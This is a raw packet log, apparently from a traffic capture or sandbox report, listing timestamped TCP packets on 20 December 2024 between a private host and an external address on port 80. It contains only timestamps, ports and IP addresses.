Dec 20, 2024 16:36:46.900098085 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.900494099 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.900587082 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.900599003 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.900768995 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.901562929 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.901921988 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.901937962 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.901987076 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.902569056 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.902616024 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.902690887 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.902781010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.903592110 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.903753042 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.904105902 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.904627085 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.904730082 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.904752970 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.904819965 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.905658960 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.905883074 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.905905962 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.906343937 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.906678915 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.906850100 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.907094955 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.907308102 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.907712936 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.908126116 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.908251047 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.908731937 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.908830881 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.908854961 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.909348965 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.909801006 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.909918070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.910073042 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.910805941 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.910866022 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.911031008 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.911259890 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.911855936 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.912007093 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.912029982 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.912535906 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.912919998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.912997007 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.913062096 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.913218975 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.913897991 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.914009094 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.914051056 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.914051056 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.915029049 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.915134907 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.915186882 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.915370941 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.915962934 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.916064978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.916181087 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.917004108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.917089939 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.917115927 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.917224884 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.918025970 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.918169022 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.918407917 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.918534994 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.029213905 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.029369116 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.029373884 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.029520035 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.029601097 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.029689074 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.029808998 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.030738115 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.030841112 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.030867100 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.031352997 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.031776905 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.031816006 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.031842947 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.032370090 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.032594919 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.032690048 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.032717943 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.032773972 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.033559084 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.033818960 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.034148932 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.034288883 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.034647942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.034759045 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.034849882 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.034893036 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.035567999 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.035912991 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.035943031 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.036263943 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.036581993 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.036670923 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.036690950 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.036803007 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.037519932 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.037646055 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.037663937 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.037729979 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.038506985 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.038657904 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.038682938 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.038814068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.039469957 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.039583921 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.039589882 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.039782047 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.040394068 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.040450096 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.040582895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.040647030 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.041398048 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.041414022 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.041482925 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.041482925 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.042279959 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.042623043 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.043121099 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.043273926 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.043288946 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.043304920 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.043411970 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.044105053 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.044224024 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.044620991 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.045025110 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.045149088 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.045257092 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.045944929 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.046396971 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.046524048 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.046828032 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.046864033 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.046994925 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.047010899 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.047075987 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.047846079 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.047970057 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.048676014 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.048734903 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.048764944 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.048779011 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.048810959 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.049045086 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.049676895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.049731016 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.049771070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.049833059 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.050609112 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.050662994 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.050698996 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.050745010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.051515102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.051609039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.051640987 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.051896095 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.053287983 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.053379059 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.053447962 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.053462029 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.053637028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.053684950 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.053761005 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.054332018 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.054527998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.054553032 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.054853916 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.055648088 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.055663109 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.055737019 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.055737019 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.056166887 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.056358099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.056416035 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.056505919 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.057104111 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.057212114 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.057429075 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.058037043 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.058162928 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.058165073 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.058252096 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.058945894 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.059039116 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.059209108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.059340954 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.059880018 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.059938908 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.059974909 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.060137033 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.060893059 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.060970068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.061400890 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.061451912 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.061780930 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.061882019 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.062140942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.062203884 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.062640905 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.062697887 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.063124895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.063185930 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.063575983 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.063621044 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.063869953 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.063997984 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.064512014 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.064655066 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.064915895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.065036058 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.065399885 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.065485954 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.065526009 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.065582037 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.066375971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.066389084 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.066668987 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.067259073 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.067378044 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.068212986 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.068244934 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.068335056 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.069150925 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.069180012 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.069637060 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.069706917 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.070081949 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.070251942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.070281029 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.070981979 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.071084976 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.071114063 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.071396112 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.071955919 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.072074890 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.072253942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.072355032 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.072841883 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.072983980 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.073010921 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.073049068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.073791981 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.073879004 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.073909044 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.073945045 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.074695110 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.074780941 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.074867010 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.074954987 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.075637102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.075731039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.075784922 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.075965881 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.076560020 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.076642990 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.076708078 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.076802969 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.077478886 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.077585936 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.077752113 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.078392029 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.078459978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.221678972 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.221775055 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.221806049 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.222033024 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.222047091 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.222121954 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.222121954 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.223015070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.223121881 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.223124027 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.223546028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.223885059 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.224061966 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.224092007 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.224315882 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.224872112 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.225002050 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.225024939 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.225524902 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.225742102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.225836039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.225866079 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.226052046 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.226769924 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.226869106 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.226871014 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.226934910 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.227740049 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.227881908 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.227910995 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.229036093 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.229101896 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.229101896 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.229180098 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.229374886 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.229795933 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.230047941 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.230187893 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.230551958 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.230601072 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.230638981 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.230722904 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.231302023 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.231406927 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.231434107 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.231607914 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.232189894 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.232374907 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.232395887 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.232491016 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.233115911 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.233243942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.233273029 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.233459949 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.234026909 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.234124899 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.234193087 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.234293938 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.234987020 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.235126972 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.235294104 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.235394001 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.235901117 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.236038923 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.236368895 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.236790895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.236871004 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.237088919 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.237370014 CET	49962	80	192.168.2.6	185.156.73.23
